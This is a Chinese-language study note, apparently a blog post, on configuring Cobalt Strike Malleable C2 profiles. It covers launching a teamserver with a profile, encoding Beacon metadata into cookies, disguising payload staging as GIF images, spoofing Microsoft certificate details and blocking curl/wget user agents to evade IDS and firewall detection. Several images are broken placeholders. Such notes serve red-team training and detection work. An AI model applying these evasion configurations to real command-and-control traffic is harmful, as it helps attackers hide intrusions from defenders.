Cobalt Strike Malleable C2
郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。
Cobalt Strike Malleable C2
Malleable C2 是 Cobalt Strike 的一项功能, 意为 “可定制的” 的 C2 服务器。Malleable C2 允许通过修改c2配置文件,改变 Beacon 与 C2 通信时的流量特征与行为,伪造正常的通信的流量,实现一些 IDS 入侵检测防火墙的绕过。
1 Malleable-C2-Profiles 简单使用
-
下载 Malleable-C2-Profiles
threatexpress/malleable-c2: Cobalt Strike Malleable C2 Design and Reference Guide (github.com)
-
调用 Malleable-C2-Profiles
# ./teamserver [external IP] [password] [/path/to/my.profile] ./teamserver 192.168.0.2 qweasd malleable-c2/jquery-c2.4.0.profile
-
验证配置文件
./c2lint [/path/to/my.profile]
2 配置文件简析
2.1 配置文件结构
# this is a comment
set global_option "value";
protocol-transaction {
set local_option "value";
client {
# customize client indicators
}
server {
# customize server indicators
}
}
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-53gE9o3m-1643119046431)(C:\Users\f_carey\AppData\Roaming\Typora\typora-user-images\image-20220115120001682.png)]
2.2 配置文件文句
# 以 http-get 配置部分举例:
http-get {
set uri "/foobar";
client {
metadata {
base64;
prepend "user=";
header "Cookie";
}
}
2.2.1 定义Beacon客户端发送的元数据
当客户端(Beacon payload)回连TeamServer时,它会发送关于自身的元数据给 Cobalt Strike。配置文件中,我们必须定义如何编码此元数据和如何使用我们的 HTTP GET 请求发送元数据:
序号 | 处理步骤 | 作用 | 数据 |
---|---|---|---|
0 | Start | metadata | |
1 | base64 | Base64 编码数据 | bWV0YWRhdGE= |
2 | prepend “user=” | 在数据前添加"user="字符串 | user=bWV0YWRhdGE= |
3 | header “Cookie” | 转换后的元数据存储在Cookie的客户端 HTTP 头中 |
2.2.2 定义 Beacon 服务器提取元数据
假设我们的 Cobalt Strike 的 web 服务器收到了获取 URI
/foobar
的 GET 请求,需要提取元数据:
序号 | 处理步骤 | 作用 | 数据 |
---|---|---|---|
0 | Start | ||
1 | header “Cookie” | 恢复存储在Cookie的客户端 HTTP 头中的数据 | user=bWV0YWRhdGE= |
2 | prepend “user=” | 移除客户端添加的"user="字符串 | bWV0YWRhdGE= |
3 | base64 | Base64 解码数据 | metadata |
2.2.3 数据转换语言
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nxdoArpC-1643119046432)(C:\Users\f_carey\AppData\Roaming\Typora\typora-user-images\image-20220115132058565.png)]
2.2.4 终止语句
数据转换始以终止语句结束。在一个数据转换中只能使用一个终止语句。这个语句告诉 Beacon 和它的服务器在哪里存储转换后的数据。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-o6w0luIi-1643119046433)(C:\Users\f_carey\AppData\Roaming\Typora\typora-user-images\image-20220115132207189.png)]
2.2.5 特殊字符串
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fhUdm2Jc-1643119046433)(C:\Users\f_carey\AppData\Roaming\Typora\typora-user-images\image-20220115132912415.png)]
2.2.6 Headers 和 Parameters
添加额外信息到 beacon 中进行交互通信,解释器会按顺序解释你的 header 语句和 parameter 语句。格式如下:
# 强制 Beacon 在发出请求时向 /foobar URI 添加 bar=blah 参数。
http-get {
client {
parameter "bar" "blah";
# 添加一个header来让迷惑网络安全监控团队。此地无银。
http-get {
server {
header "X-Not-Malware" "I promise!";
2.2.7 参数选项
sleeptime:设置心跳包时间,单位为毫秒
jitter:默认的抖动因子(0-99%)
maxdns:通过DNS上传数据时的主机名最大长度(0-255)
uri:指定多个URI要以空格分隔。URI大小写敏感。Cobalt Strike在检入时将为每个主机随机分配URI。http-get和http-post之间的URL不能相同 ,所有URI必须唯一。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HzOmN1eg-1643119046434)(C:\Users\f_carey\AppData\Roaming\Typora\typora-user-images\image-20220115134312310.png)]
2.2.8 HTTP Staging
Beacon 是一个分阶段的 payload。这意味着 payload 被一个 stager 下载然后注入到内存中。使用C2 的 http-stager 自定义 HTTP staging 过程。
# uri_x86 选项设置用于下载 x86 payload stage 的 URI。
# uri_x64 选项设置用于下载 x64 payload stage 的 URI。
http-stager {
set uri_x86 "/get32.gif";
set uri_x64 "/get64.gif";
# client 关键字定义 HTTP 事务的客户端。
# 使用 parameter 关键字来给 URI 增加一个参数。
# 使用 header 关键字来给 stager 的 HTTP GET 请求增加一个头字段。
client {
parameter "id" "1234";
header "Cookie" "SomeValue";
}
# server 关键字定义 HTTP 事务的服务器端。
# header 关键字给服务器的响应增加一个服务器头字段。
# output 关键字是一个改变 payload stage 的数据转换。这个数据转换可能仅仅是在 stage 之前添加字符串或给 stage 增加字符串。使用 print 终止语句来关闭这个输出语句块。
server {
header "Content-Type" "image/gif";
output {
prepend "GIF89a";
print;
}
}
}
2.2.9 HTTP 服务器配置
http-config {
set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type";
header "Server" "Apache";
header "Keep-Alive" "timeout=5, max=100";
header "Connection" "Keep-Alive”;
set trust_x_forwarded_for "true";
set block_useragents "curl*,lynx*,wget*";
}
# set headers:指定 HTTP 头字段在 HTTP 响应中传递的顺序,不在列表中的 HTTP 头会被添加到末尾。
# header:在 HTTP 响应中添加 HTTP 头,如果头的值已经在响应包中存在,则忽略该值。
# set trust_x_forwarded_for:决定 Cobalt Strike 是否使用 X-Forwarded-For HTTP 头来确定请求的远程地址。如果你的 Cobalt Strike 服务器在一个 HTTP 重定向器后,请使用此选项。
# set block_useragents:配置一个阻止或回复404的 UA 列表。默认阻止 curl, lynx, wget,具体见下图。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9l5nizgU-1643119046434)(C:\Users\f_carey\AppData\Roaming\Typora\typora-user-images\image-20220115141241986.png)]
2.2.10 自签名 SSL 证书
https-certificate {
set CN "www.bing.com";
set O "Microsoft Corporation";
set C "US";
set L "Redmond";
set OU "Microsoft IT";
set ST "WA";
set validity "365";
}
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-t3Pof7iN-1643119046435)(C:\Users\f_carey\AppData\Roaming\Typora\typora-user-images\image-20220115141832251.png)]
2.2.11 有效的 Beacon SSL 证书
https-certificate {
set keystore "domain.store";
set password "mypassword";
}
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HnA7IEYq-1643119046435)(C:\Users\f_carey\AppData\Roaming\Typora\typora-user-images\image-20220115142129665.png)]
制作有效的Beacon SSL 证书步骤
-
创建一个 Java Keystore文件
keytool -genkey -keyalg RSA -keysize 2048 -keystore domain.store
-
生成 Certificate Signing Request (CSR),将生成的文件提交给你的 SSL 证书供应商,他们将验证你的身份并颁发证书
$ keytool -certreq -keyalg RSA -file domain.csr -keystore domain.store
-
导入SSL 厂商提供你的 Root 和其他中间证书
$ keytool -import -trustcacerts -alias FILE -file FILE.crt -keystore domain.store
-
安装域名证书
$ keytool -import -trustcacerts -alias mykey -file domain.crt -keystore domain.store
3 流量分析
未经伪造的流量:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0JedWVxd-1643119046435)(C:\Users\f_carey\AppData\Roaming\Typora\typora-user-images\image-20220115155157005.png)]
经过伪造的流量:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Qut2Ov0J-1643119046436)(C:\Users\f_carey\AppData\Roaming\Typora\typora-user-images\image-20220115151038883.png)]